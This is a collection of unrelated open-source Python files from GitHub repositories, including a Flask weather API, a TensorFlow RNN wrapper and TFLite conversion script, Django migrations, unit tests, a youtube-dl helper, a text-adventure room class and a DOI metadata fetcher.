jsonify(all_stations)\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n \"\"\"Return the temperature observations of the most active station in the last year..\"\"\"\n\n session = Session(engine)\n\n stationQuery = (session\n .query(Measurement.station, func.count(Measurement.station))\n .group_by(Measurement.station)\n .order_by(func.count(Measurement.station).desc()))\n\n result = engine.execute(stationQuery.statement).fetchall()\n mostActiveStation = result[0][0]\n\n tempQuery = (session\n .query(Measurement.date,Measurement.tobs)\n .filter(Measurement.station == mostActiveStation))\n\n tempResults = engine.execute(tempQuery.statement).fetchall()\n session.close()\n\n all_temps = {}\n\n for date,tobs in tempResults:\n all_temps[date] = tobs\n\n return jsonify(all_temps)\n\n@app.route(\"/api/v1.0/\")\ndef startTemps(start):\n \"\"\"Fetch the min, max, and average temperatures after a start date.\"\"\"\n\n session = Session(engine)\n tempData = calc_temps(session, start)\n session.close()\n tempDict = {}\n for tmin,tave,tmax in tempData:\n tempDict['TMIN'] = tmin\n tempDict['TAVE'] = tave\n tempDict['TMAX'] = tmax\n\n return jsonify(tempDict)\n\n@app.route(\"/api/v1.0//\")\ndef startEndTemps(start, end):\n \"\"\"Fetch the min, max, and average temperatures between a start and end date.\"\"\"\n\n session = Session(engine)\n tempData = calc_temps(session, start, end)\n session.close()\n tempDict = {}\n for tmin,tave,tmax in tempData:\n tempDict['TMIN'] = tmin\n tempDict['TAVE'] = tave\n tempDict['TMAX'] = tmax\n\n return jsonify(tempDict)\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"bhhnguyen/sqlalchemy-challenge","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74347086598","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom RNN.Cell import *\r\nfrom g_CNN.Optimizers import OptFactory\r\nfrom Util.ProgressBar import ProgressBar\r\n\r\n\r\nclass RNNWrapper:\r\n def __init__(self, **kwargs):\r\n self._log = {}\r\n self._optimizer = self._generator = None\r\n self._tfx = self._tfy = self._input = self._output = None\r\n self._cell = self._initial_state = self._sequence_lengths = None\r\n self._im = self._om = self._activation = None\r\n self._sess = tf.Session()\r\n\r\n self._squeeze = kwargs.get(\"squeeze\", False)\r\n self._use_sparse_labels = kwargs.get(\"use_sparse_labels\", False)\r\n self._embedding_size = kwargs.get(\"embedding_size\", None)\r\n self._use_final_state = kwargs.get(\"use_final_state\", False)\r\n self._params = {\r\n \"cell\": kwargs.get(\"cell\", LSTMCell),\r\n \"provide_sequence_length\": kwargs.get(\"provide_sequence_length\", False),\r\n \"n_hidden\": kwargs.get(\"n_hidden\", 128),\r\n \"n_history\": kwargs.get(\"n_history\", 0),\r\n \"activation\": kwargs.get(\"activation\", tf.nn.sigmoid),\r\n \"lr\": kwargs.get(\"lr\", 0.01),\r\n \"epoch\": kwargs.get(\"epoch\", 25),\r\n \"n_iter\": kwargs.get(\"n_iter\", 128),\r\n \"optimizer\": kwargs.get(\"optimizer\", \"Adam\"),\r\n \"batch_size\": kwargs.get(\"batch_size\", 64),\r\n \"eps\": kwargs.get(\"eps\", 1e-8),\r\n \"verbose\": kwargs.get(\"verbose\", 1)\r\n }\r\n\r\n if self._use_sparse_labels:\r\n self._params[\"activation\"] = kwargs.get(\"activation\", None)\r\n if self._squeeze:\r\n self._params[\"n_history\"] = kwargs.get(\"n_history\", 1)\r\n\r\n def _verbose(self):\r\n if self._sequence_lengths is not None:\r\n x_test, y_test, sequence_lengths = self._generator.gen(0, True)\r\n else:\r\n x_test, y_test = self._generator.gen(0, True)\r\n sequence_lengths = None\r\n axis = 1 if self._squeeze else 2\r\n if self._use_sparse_labels:\r\n y_true = y_test\r\n else:\r\n y_true = np.argmax(y_test, axis=axis).ravel() # type: np.ndarray\r\n y_pred = self.predict(x_test, sequence_lengths)\r\n print(\"Test acc: {:8.6} %\".format(np.mean(y_true == y_pred) * 100))\r\n\r\n def _define_input(self, im, om):\r\n if self._embedding_size:\r\n self._tfx = tf.placeholder(tf.int32, shape=[None, None])\r\n embeddings = tf.Variable(tf.random_uniform([im, self._embedding_size], -1.0, 1.0))\r\n self._input = tf.nn.embedding_lookup(embeddings, self._tfx)\r\n else:\r\n self._input = self._tfx = tf.placeholder(tf.float32, shape=[None, None, im])\r\n if self._use_sparse_labels:\r\n if self._squeeze:\r\n self._tfy = tf.placeholder(tf.int32, shape=[None])\r\n else:\r\n self._tfy = tf.placeholder(tf.int32, shape=[None, None])\r\n elif self._squeeze:\r\n self._tfy = tf.placeholder(tf.float32, shape=[None, om])\r\n else:\r\n self._tfy = tf.placeholder(tf.float32, shape=[None, None, om])\r\n\r\n def _prepare_for_dynamic_rnn(self, provide_sequence_length):\r\n self._initial_state = self._cell.zero_state(tf.shape(self._input)[0], tf.float32)\r\n if provide_sequence_length:\r\n self._sequence_lengths = tf.placeholder(tf.int32, [None])\r\n else:\r\n self._sequence_lengths = None\r\n\r\n def _get_loss(self, eps):\r\n if self._use_sparse_labels:\r\n return tf.reduce_mean(\r\n tf.nn.sparse_softmax_cross_entropy_with_logits(labels=self._tfy, logits=self._output)\r\n )\r\n return -tf.reduce_mean(\r\n self._tfy * tf.log(self._output + eps) + (1 - self._tfy) * tf.log(1 - self._output + eps)\r\n )\r\n\r\n def _get_output(self, rnn_outputs, rnn_final_state, n_history):\r\n if n_history == 0 and self._squeeze:\r\n raise ValueError(\"'n_history' should not be 0 when trying to squeeze the outputs\")\r\n if n_history == 1 and self._squeeze:\r\n outputs = rnn_outputs[..., -1, :]\r\n else:\r\n outputs = rnn_outputs[..., -n_history:, :]\r\n if self._use_final_state:\r\n outputs = tf.concat([outputs, rnn_final_state[..., -n_history:, :]], axis=2)\r\n if self._squeeze:\r\n outputs = tf.reshape(outputs, [-1, n_history * int(outputs.get_shape()[2])])\r\n # if self._use_final_state and self._squeeze:\r\n # outputs = tf.concat([outputs, rnn_final_state[0]], axis=1)\r\n self._output = layers.fully_connected(\r\n outputs, num_outputs=self._om, activation_fn=self._activation)\r\n\r\n def fit(self, im, om, generator, cell=None, provide_sequence_length=None,\r\n squeeze=None, use_sparse_labels=None, embedding_size=None, use_final_state=None,\r\n n_hidden=None, n_history=None, activation=None, lr=None, epoch=None, n_iter=None,\r\n batch_size=None, optimizer=None, eps=None, verbose=None):\r\n if cell is None:\r\n cell = self._params[\"cell\"]\r\n if provide_sequence_length is None:\r\n provide_sequence_length = self._params[\"provide_sequence_length\"]\r\n if n_hidden is None:\r\n n_hidden = self._params[\"n_hidden\"]\r\n if n_history is None:\r\n n_history = self._params[\"n_history\"]\r\n if squeeze:\r\n self._squeeze = True\r\n if use_sparse_labels:\r\n self._use_sparse_labels = True\r\n if self._squeeze and n_history == 0:\r\n n_history = 1\r\n if embedding_size:\r\n self._embedding_size = embedding_size\r\n if use_final_state:\r\n self._use_final_state = True\r\n if activation is None:\r\n activation = self._params[\"activation\"]\r\n if lr is None:\r\n lr = self._params[\"lr\"]\r\n if epoch is None:\r\n epoch = self._params[\"epoch\"]\r\n if n_iter is None:\r\n n_iter = self._params[\"n_iter\"]\r\n if optimizer is None:\r\n optimizer = self._params[\"optimizer\"]\r\n if batch_size is None:\r\n batch_size = self._params[\"batch_size\"]\r\n if eps is None:\r\n eps = self._params[\"eps\"]\r\n if verbose is None:\r\n verbose = self._params[\"verbose\"]\r\n\r\n self._generator = generator\r\n self._im, self._om, self._activation = im, om, activation\r\n self._optimizer = OptFactory().get_optimizer_by_name(optimizer, lr)\r\n self._define_input(im, om)\r\n\r\n self._cell = cell(n_hidden)\r\n self._prepare_for_dynamic_rnn(provide_sequence_length)\r\n rnn_outputs, rnn_final_state = tf.nn.dynamic_rnn(\r\n self._cell, self._input, return_all_states=True,\r\n sequence_length=self._sequence_lengths, initial_state=self._initial_state\r\n )\r\n self._get_output(rnn_outputs, rnn_final_state, n_history)\r\n loss = self._get_loss(eps)\r\n train_step = self._optimizer.minimize(loss)\r\n self._log[\"iter_err\"] = []\r\n self._log[\"epoch_err\"] = []\r\n self._sess.run(tf.global_variables_initializer())\r\n bar = ProgressBar(max_value=epoch, name=\"Epoch\", start=False)\r\n if verbose >= 2:\r\n bar.start()\r\n for _ in range(epoch):\r\n epoch_err = 0\r\n sub_bar = ProgressBar(max_value=n_iter, name=\"Iter\", start=False)\r\n if verbose >= 2:\r\n sub_bar.start()\r\n for __ in range(n_iter):\r\n if provide_sequence_length:\r\n x_batch, y_batch, sequence_length = self._generator.gen(batch_size)\r\n feed_dict = {\r\n self._tfx: x_batch, self._tfy: y_batch,\r\n self._sequence_lengths: sequence_length\r\n }\r\n else:\r\n x_batch, y_batch = self._generator.gen(batch_size)\r\n feed_dict = {self._tfx: x_batch, self._tfy: y_batch}\r\n iter_err = self._sess.run([loss, train_step], feed_dict)[0]\r\n self._log[\"iter_err\"].append(iter_err)\r\n epoch_err += iter_err\r\n if verbose >= 2:\r\n sub_bar.update()\r\n self._log[\"epoch_err\"].append(epoch_err / n_iter)\r\n if verbose >= 1:\r\n self._verbose()\r\n if verbose >= 2:\r\n bar.update()\r\n\r\n def predict(self, x, sequence_lengths=None, get_raw=False):\r\n x = np.atleast_3d(x)\r\n if self._sequence_lengths is not None:\r\n if sequence_lengths is None:\r\n sequence_lengths = [x.shape[1]] * x.shape[0]\r\n feed_dict = {self._tfx: x, self._sequence_lengths: sequence_lengths}\r\n else:\r\n feed_dict = {self._tfx: x}\r\n output = self._sess.run(self._output, feed_dict)\r\n if get_raw:\r\n return output\r\n axis = 1 if self._squeeze else 2\r\n return np.argmax(output, axis=axis).ravel()\r\n\r\n def draw_err_logs(self):\r\n ee, ie = self._log[\"epoch_err\"], self._log[\"iter_err\"]\r\n ee_base = np.arange(len(ee))\r\n ie_base = np.linspace(0, len(ee) - 1, len(ie))\r\n plt.figure()\r\n plt.plot(ie_base, ie, label=\"Iter error\")\r\n plt.plot(ee_base, ee, linewidth=3, label=\"Epoch error\")\r\n plt.legend()\r\n plt.show()\r\n","repo_name":"carefree0910/MachineLearning","sub_path":"RNN/Wrapper.py","file_name":"Wrapper.py","file_ext":"py","file_size_in_byte":9437,"program_lang":"python","lang":"en","doc_type":"code","stars":1044,"dataset":"github-code","pt":"62"} +{"seq_id":"22760626939","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.db.models.deletion\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('schedule', '0001_initial'),\n ('users', '0001_initial'),\n ('venues', '0001_initial'),\n ('doctors', '0001_initial'),\n ('customers', '0001_initial'),\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Appointment',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('created_on', models.DateTimeField(auto_now_add=True, verbose_name='created on')),\n ('updated_on', models.DateTimeField(auto_now=True, verbose_name='updated on')),\n ('status', models.CharField(default=b'scheduled', max_length=15, verbose_name='Status', choices=[(b'scheduled', 'Scheduled'), (b'confirmed', 'Confirmed'), (b'canceled', 'Canceled'), (b'notified', 'Notified'), (b'noshow', 'No Show'), (b'showed', 'Showed Up')])),\n ('client', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='Client', to='users.Client')),\n ('creator', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='Creator', to=settings.AUTH_USER_MODEL)),\n ('customer', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='Customer', to='customers.Customer')),\n ('doctor', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, default=None, blank=True, to='doctors.Doctor', null=True, verbose_name='Doctor')),\n ('event', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, verbose_name='Event', to='schedule.Event')),\n ('venue', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, default=None, blank=True, to='venues.Venue', null=True, verbose_name='Schedule')),\n ],\n options={\n 'ordering': ['-event__start'],\n },\n ),\n ]\n","repo_name":"moshthepitt/apr","sub_path":"appointments/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"62"} +{"seq_id":"11152666217","text":"#!/usr/bin/env python\nimport unittest\nfrom os.path import dirname, join\nfrom glob import glob\n\nfrom py2030.component_manager import ComponentManager\n\nclass TestComponentManager(unittest.TestCase):\n def test_init(self):\n cm = ComponentManager()\n self.assertIsNotNone(cm.context.event_manager)\n self.assertFalse(cm.running)\n self.assertEqual(cm.profile, 'default')\n self.assertEqual(cm.config_file.path, 'config.yml')\n\n def test_setup_without_components_will_abort(self):\n cm = ComponentManager()\n cm.setup()\n self.assertEqual(len(cm.components), 0)\n self.assertFalse(cm.running)\n\n def test_setup(self):\n cm = ComponentManager({'profile_data': {'osc_outputs': {'sender': {'ip': '127.0.0.1'}}}})\n cm.setup()\n self.assertEqual(len(cm.components), 1)\n self.assertEqual(cm.components[0].__class__.__name__, 'OscOutput')\n self.assertTrue(cm.running)\n\n def test_start_event(self):\n cm = ComponentManager({'profile_data': {'start_event': 'go'}})\n # before: the letsgo event has not been fired yet\n self.assertEqual(cm.context.event_manager.get('go')._fireCount, 0)\n cm.setup()\n # the configure start event is fired after setup completes\n self.assertEqual(cm.context.event_manager.get('go')._fireCount, 1)\n\n def test_config_file_option(self):\n cm = ComponentManager({'config_file': 'foo/bar.txt'})\n self.assertEqual(cm.config_file.path, 'foo/bar.txt')\n\n def test_reload_event(self):\n cm = ComponentManager({\n 'config_file': 'tests/data/config.yml',\n 'profile': 'reloader',\n 'profile_data': {'reload_event': 'reload', 'start_event': 'ramones'}\n })\n # before\n self.assertEqual(cm.context.event_manager.get('ramones')._fireCount, 0)\n self.assertEqual(cm.context.event_manager.get('heyholetsgo')._fireCount, 0)\n self.assertFalse(cm._onReloadEvent in cm.context.event_manager.get('reload'))\n # setup from param config\n cm.setup()\n # after first setup\n self.assertTrue(cm._onReloadEvent in cm.context.event_manager.get('reload'))\n self.assertEqual(cm.context.event_manager.get('ramones')._fireCount, 1)\n self.assertEqual(cm.context.event_manager.get('heyholetsgo')._fireCount, 0)\n # trigger reload\n cm.context.event_manager.get('reload').fire()\n cm.update() # have to run update, 'cause the reload event handler queues the actual reload operation\n # after second setup\n self.assertEqual(cm.context.event_manager.get('ramones')._fireCount, 1)\n self.assertEqual(cm.context.event_manager.get('heyholetsgo')._fireCount, 1)\n self.assertEqual(len(cm.context.event_manager.get('reload')), 0)\n self.assertEqual(len(cm.context.event_manager.get('reload2')), 1)\n # cleanup\n cm.destroy()\n # verify\n self.assertEqual(len(cm.context.event_manager.get('reload2')), 0)\n\n def test_stop_event(self):\n cm = ComponentManager({'profile_data': {'stop_event': 'quit', 'osc_outputs': {'sender': {'ip': '127.0.0.1'}}}})\n cm.setup()\n # before\n self.assertTrue(cm.running)\n # trigger the stop_event\n cm.context.event_manager.get('quit').fire()\n # after\n self.assertFalse(cm.running)\n\n def test_stop_event_same_as_start_event(self):\n cm = ComponentManager({'profile_data': {'stop_event': 'quit', 'start_event': 'quit'}})\n cm.setup()\n self.assertFalse(cm.running)\n\n def test_found_component_classes(self):\n self.assertEqual(map(lambda cls: cls.__name__, ComponentManager()._found_component_classes()), [\n 'DelayItem',\n 'EventToEvent',\n 'MidiInput',\n 'OmxSyncer',\n 'OmxVideo',\n 'OscInput',\n 'OscOutput',\n 'OsxOscVideoResumer',\n 'Sine',\n 'SshRemote',\n 'WebServer'])\n","repo_name":"markkorput/py2030","sub_path":"tests/test_component_manager.py","file_name":"test_component_manager.py","file_ext":"py","file_size_in_byte":4007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34402758551","text":"import os\n\nfrom microfaune.detection import RNNDetector\n\n\n\"\"\"\nrequired:\npip install numpy\npip install tensorflow\npip install librosa\n\"\"\"\n\ndirectory = \"..\\\\..\\\\files_audio\\\\ff1010bird\\\\wav\\\\\"\ndetector = RNNDetector()\n\nmodel = detector.create_model()\n\nimport tensorflow as tf\n\"\"\"\n# Convert the model (no quantization)\nconverter = tf.lite.TFLiteConverter.from_keras_model(model)\nconverter.target_spec.supported_ops = [\n tf.lite.OpsSet.TFLITE_BUILTINS, # enable TensorFlow Lite ops.\n tf.lite.OpsSet.SELECT_TF_OPS # enable TensorFlow ops.\n]\ntflite_model = converter.convert()\n\n# save the model\nopen(\"microfaune_tflite_model.tflite\", \"wb\").write(tflite_model)\n\"\"\"\n\n\n# Convert the model (float16 quantization)\nconverter = tf.lite.TFLiteConverter.from_keras_model(model)\nconverter.target_spec.supported_ops = [\n tf.lite.OpsSet.TFLITE_BUILTINS, # enable TensorFlow Lite ops.\n tf.lite.OpsSet.SELECT_TF_OPS # enable TensorFlow ops.\n]\n\n# Set the optimization mode \nconverter.optimizations = [tf.lite.Optimize.DEFAULT]\n\n# Set float16 is the supported type on the target platform\nconverter.target_spec.supported_types = [tf.float16]\n\n# Convert and Save the model\ntflite_model = converter.convert()\nopen(\"microfaune_converted_model_float16.tflite\", \"wb\").write(tflite_model)\n\n\n\"\"\"\n# Convert the model (dynamic quantization)\nconverter = tf.lite.TFLiteConverter.from_keras_model(model)\n\n# Set the optimization mode \nconverter.optimizations = [tf.lite.Optimize.DEFAULT]\nconverter.target_spec.supported_ops = [\n tf.lite.OpsSet.TFLITE_BUILTINS, # enable TensorFlow Lite ops.\n tf.lite.OpsSet.SELECT_TF_OPS # enable TensorFlow ops.\n]\n\n# Set the optimization mode \nconverter.optimizations = [tf.lite.Optimize.DEFAULT]\n\n# Convert and Save the model\ntflite_model = converter.convert()\ndirectory = \"tflite_models\\\\\"\nopen(directory+\"microfaune_converted_model_dynamic.tflite\", \"wb\").write(tflite_model)\n\"\"\"\n\n\n\"\"\"\nprint(\"Directory -> \"+directory)\nfor filename in os.listdir(directory):\n f = os.path.join(directory, filename)\n if os.path.isfile(f):\n global_score, local_score = detector.predict_on_wav(f)\n print(filename+\" -> \"+str(global_score[0]))\n break\n\"\"\"\n\n\"\"\"\nimport numpy as np\ntest_class_file = np.loadtxt(\"test.csv\", delimiter=',', dtype='str') # test_class_file[:,0] -> ID, test_class_file[:,1] -> real value of hasBird\nresult = []\nprint(\"Directory -> \"+directory)\nfor filename in test_class_file:\n f = os.path.join(directory, filename+\".wav\")\n if os.path.isfile(f):\n global_score, local_score = detector.predict_on_wav(f)\n print(filename+\" -> \"+str(global_score[0]))\n result.append(global_score[0])\n break\n\nresult = np.array(result)\nnp.savetxt(\"result.csv\",np.c_[test_class_file[:],result[:]], fmt='%s', delimiter=',')\n#print(len(detector.model.layers))\n\"\"\"\n\n\n\n\n\"\"\"\nficheiro | % | se >50 considerar passaro | há ou não / clareza | parece volume % (passaro)\n----------+--------------+---------------------------+---------------------------+---------------------------\n55.wav | 0.009491051 | ... | não tem passaro | 0 %\n100.wav | 0.25798014 | ... | tem passaro, muito subtil | 10 %\n377.wav | 0.75031155 | SIM | tem passaro, muito subtil | 5 %\n518.wav | 0.091156006 | ... | não tem passaro | 0 %\n1045.wav | 0.074668966 | ... | não tem passaro | 0 %\n1050.wav | 0.98813665 | SIM | tem passaro, muito claro | 80 %\n1051.wav | 0.9875864 | SIM | tem passaro, muito claro | 95 %\n1053.wav | 0.011163684 | ... | não tem passaro | 0 %\n1055.wav | 0.9821978 | SIM | tem passaro, muito claro | 100 %\n2155.wav | 0.05937126 | ... | não tem passaro | 0 %\n2157.wav | 0.9872018 | SIM | tem passaro, muito claro | 100 %\n2432.wav | 0.012723158 | ... | não tem passaro | 0 %\n2521.wav | 0.037950914 | ... | não tem passaro | 0 %\n2527.wav | 0.017906759 | ... | não tem passaro | 0 %\n2536.wav | 0.9857993 | SIM | tem passaro, muito claro | 98 %\n3183.wav | 0.9569899 | SIM | tem passaro, razoável | 15 %\n3191.wav | 0.80604786 | SIM | tem passaro, muito subtil | 5 %\n5204.wav | 0.6984873 | SIM | tem passaro, muito subtil | 40 %\n5996.wav | 0.028960453 | ... | não tem passaro | 0 %\n8059.wav | 0.9872508 | SIM | tem passaro, muito claro | 100 %\n\ntaxa de sucesso para esta pequena amostra -> 10/11 -> 90%\n\"\"\"","repo_name":"PiniponSelvagem/BAD_FPGA","sub_path":"python_quantization_old/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19722261176","text":"\"\"\"\n@author: Arkan M. Gerges\n\"\"\"\nimport validators\n\nfrom src.port_adapter.api.rest.resource.exception.ValidationErrorException import (\n ValidationErrorException,\n)\n\n\nclass Validator:\n @classmethod\n def validateEmail(cls, email: str, fields: dict) -> bool:\n if not validators.email(email):\n raise ValidationErrorException(\n {\"message\": f\"email is not valid: {email}\", \"data\": fields}\n )\n return True\n","repo_name":"arkanmgerges/cafm.api","sub_path":"src/port_adapter/api/rest/helper/Validator.py","file_name":"Validator.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9307743262","text":"#!/usr/bin/python3\nimport pandas as pd\nimport sys\n\ngiven_file = sys.argv[1]\n\ndf = pd.read_csv(given_file)\n\nprint (df.tail(-1))\n\ncolumns = df.columns\nfor col in columns:\n print(col)\n\ncolumns = df[\"b\"]\nprint (columns)\n","repo_name":"soumendra9/new_repo","sub_path":"pd_read.py","file_name":"pd_read.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15388969767","text":"import os\nimport sys\n\ndef download_video():\n # first argument is the file itself\n if len(sys.argv) < 2:\n print('No YouTube link provided')\n filename = get_filename(sys.argv[0])\n print('Usage: ' + filename + ' [YouTube link]')\n return\n\n if (sys.argv[1] == 'help' or sys.argv[1] == '-h'):\n filename = get_filename(sys.argv[0])\n print('Usage: ' + filename + ' [YouTube link]')\n return\n\n link = sys.argv[1]\n\n command = str('youtube-dl -o \"%USERPROFILE%\\Downloads\\%(title)s.%(ext)s\" ' + link + ' --extract-audio --audio-format mp3 --audio-quality 256K')\n os.system(command)\n\ndef get_filename(path):\n if path.rfind('\\\\') == -1:\n filename = path\n else:\n last_occurence = path.rfind('\\\\')\n filename = path[last_occurence + 1:]\n \n return filename\n\ndownload_video()\n","repo_name":"The-Last-Cookie/python-utilities","sub_path":"yt-dl.py","file_name":"yt-dl.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8407160850","text":"from .room import Room\n\n\nclass BearRoom(Room):\n \"\"\"A room containing a bear.\n \"\"\"\n\n def __init__(self):\n super().__init__(\n contents={'bear': 1,\n 'demeanor': 'grumpy'})\n\n @property\n def description(self):\n return 'The room contains a {} looking bear.'.format(\n self.contents['demeanor'])\n\n def process_command(self, command, player):\n if command == 'pet bear':\n if self.contents['demeanor'] == 'grumpy':\n player.alive = False\n return ['The bear is not impressed and re-enacts '\n '\"The Revenant\" on you.']\n else:\n return ['The bear purrs contentedly. Wait...purrs? Is this really a bear?']\n elif command == 'play kazoo':\n if player.inventory.get('kazoo', 0) == 0:\n return [\"You don't have a kazoo to play!\"]\n self.contents['demeanor'] = 'calm'\n return ['The bear enjoys your serenade and is noticeably calmer.']\n\n return None\n","repo_name":"sixty-north/introduction-to-python","sub_path":"exercises/solutions/exercise-03/zorkalike/rooms/bear_room.py","file_name":"bear_room.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"70361333637","text":"import asyncio\nfrom asyncio import FIRST_COMPLETED\nfrom collections import namedtuple\n\nimport aiohttp\n\nService = namedtuple('Service', ('name', 'url', 'ip_attr'))\n\nservices = (\n Service('ipify', 'https://api.ipify.org?format=json', 'ip'),\n Service('ip-api', 'http://ip-api.com/json', 'query')\n)\n\n\nasync def get_json(url):\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n return await response.json()\n\n\nasync def fetch_ip(service):\n print(f'Fetching IP from {service.name}')\n\n json_response = await get_json(service.url)\n ip = json_response[service.ip_attr]\n return f'{service.name} finished with result: {ip}'\n\n\nasync def main():\n coros = [fetch_ip(service) for service in services]\n\n done, pending = await asyncio.wait(coros, return_when=FIRST_COMPLETED)\n\n for x in done:\n print(x.result())\n\n\nif __name__ == '__main__':\n asyncio.run(main())\n","repo_name":"EngineerSpock/Python-from-Zero-to-Hero","sub_path":"12-Многопоточное программирование/MultiAsyncParallel/asyncio/05_03_task_wait.py","file_name":"05_03_task_wait.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":90,"dataset":"github-code","pt":"62"} +{"seq_id":"7951313445","text":"import requests\nfrom datetime import datetime\nfrom copy import copy\nfrom . import utilities\n\ndef negotiate_doi(doi, response_type=\"registry\", return_errors=False):\n identifiers = utilities.actionable_id(doi)\n\n if identifiers is None:\n if return_errors:\n return {\"doi\": doi, \"error\": \"Not a valid DOI identifier\"}\n else:\n return\n\n response_doc = {\n \"_identifiers\": identifiers,\n \"_date\": str(datetime.utcnow().isoformat())\n }\n\n if response_type == \"registry\":\n headers = {\"accept\": \"application/vnd.citationstyles.csl+json\"}\n elif response_type == \"reference_string\":\n headers = {\"accept\": \"text/x-bibliography\"}\n elif response_type == \"dereference\":\n headers = {\"accept\": \"application/json\"}\n\n try:\n r = requests.get(\n identifiers[\"url\"], \n headers=headers\n )\n except Exception as e:\n return {\"doi\": doi, \"error\": e}\n\n if r.status_code != 200:\n return {\"doi\": doi, \"error\": f\"HTTP Status Code: {str(r.status_code)}\"}\n else:\n if response_type == \"reference_string\":\n response_doc[\"reference_string\"] = r.text\n else:\n try:\n response_doc.update(r.json())\n except:\n return {\"doi\": doi, \"error\": f\"Content type with an accept header for JSON was not JSON\"}\n\n return response_doc\n\ndef entity_from_doi(doi_doc):\n '''\n Processes a single DOI record retrieved via content negotiation into a flat summarized structure\n for processing into a graph or simple index. \n '''\n if \"error\" in doi_doc:\n return\n\n summary_doc = {\n \"doi\": doi_doc[\"DOI\"],\n \"name\": doi_doc[\"title\"],\n \"url\": doi_doc[\"URL\"],\n \"publisher\": None,\n \"date_qualifier\": doi_doc[\"_date\"]\n }\n\n if \"publisher\" in doi_doc:\n summary_doc[\"publisher\"] = doi_doc[\"publisher\"]\n\n if \"issued\" in doi_doc and isinstance(doi_doc[\"issued\"][\"date-parts\"], list) and len(doi_doc[\"issued\"][\"date-parts\"]) == 1:\n issued_year = doi_doc[\"issued\"][\"date-parts\"][0][0]\n if issued_year is None:\n summary_doc[\"year_published\"] = None\n else:\n summary_doc[\"year_published\"] = str(issued_year)\n\n if doi_doc[\"type\"] == \"dataset\":\n summary_doc[\"entity_type\"] = \"Dataset\"\n else:\n summary_doc[\"entity_type\"] = \"CreativeWork\"\n\n if \"abstract\" in doi_doc:\n summary_doc[\"description\"] = doi_doc[\"abstract\"]\n\n if \"container-title\" in doi_doc:\n if summary_doc[\"publisher\"] == \"US Geological Survey\":\n summary_doc[\"journal\"] = f\"USGS {doi_doc['container-title']}\"\n else:\n summary_doc[\"journal\"] = doi_doc['container-title']\n\n if \"event\" in doi_doc:\n summary_doc[\"event\"] = doi_doc[\"event\"]\n\n return summary_doc\n\ndef doi_rel_stub(doi_doc):\n stub = {\n \"doi\": doi_doc[\"DOI\"],\n \"reference\": doi_doc[\"URL\"],\n \"date_qualifier\": None\n }\n if \"issued\" in doi_doc and isinstance(doi_doc[\"issued\"][\"date-parts\"], list) and len(doi_doc[\"issued\"][\"date-parts\"]) == 1:\n issued_year = doi_doc[\"issued\"][\"date-parts\"][0][0]\n if issued_year is None:\n stub[\"date_qualifier\"] = None\n else:\n stub[\"date_qualifier\"] = int(issued_year)\n\n return stub\n\ndef funders_from_doi(doi_doc):\n if \"funder\" not in doi_doc:\n return list()\n\n funder_rels = list()\n for funder in doi_doc[\"funder\"]:\n funder_rel = doi_rel_stub(doi_doc)\n funder_rel[\"name\"] = funder[\"name\"]\n funder_rel[\"rel_type\"] = \"FUNDER_OF\"\n funder_rel[\"entity_type\"] = \"Organization\"\n if \"DOI\" in funder:\n funder_rel[\"funder_doi\"] = funder[\"DOI\"]\n if funder[\"award\"]:\n funder_rel[\"funder_award\"] = \",\".join(funder[\"award\"])\n funder_rels.append(funder_rel)\n \n return funder_rels\n\ndef contacts_from_doi(doi_doc):\n if \"author\" not in doi_doc and \"editor\" not in doi_doc:\n return list()\n\n raw_contacts = list()\n if \"author\" in doi_doc:\n [i.update({\"rel_type\": \"AUTHOR_OF\"}) for i in doi_doc[\"author\"]]\n raw_contacts.extend(doi_doc[\"author\"])\n if \"editor\" in doi_doc:\n [i.update({\"rel_type\": \"EDITOR_OF\"}) for i in doi_doc[\"editor\"]]\n raw_contacts.extend(doi_doc[\"editor\"])\n\n contact_rels = list()\n for contact in [i for i in raw_contacts if \"ORCID\" in i]:\n contact_rel = doi_rel_stub(doi_doc)\n contact_rel[\"orcid\"] = contact[\"ORCID\"].split(\"/\")[-1]\n contact_rel[\"sequence\"] = contact[\"sequence\"]\n contact_rel[\"rel_type\"] = contact[\"rel_type\"]\n contact_rel[\"entity_type\"] = \"Person\"\n\n if \"family\" in contact and \"given\" not in contact:\n contact_rel[\"name\"] = contact[\"family\"]\n else:\n contact_rel[\"name\"] = f\"{contact['given']} {contact['family']}\"\n contact_rels.append(contact_rel)\n\n return 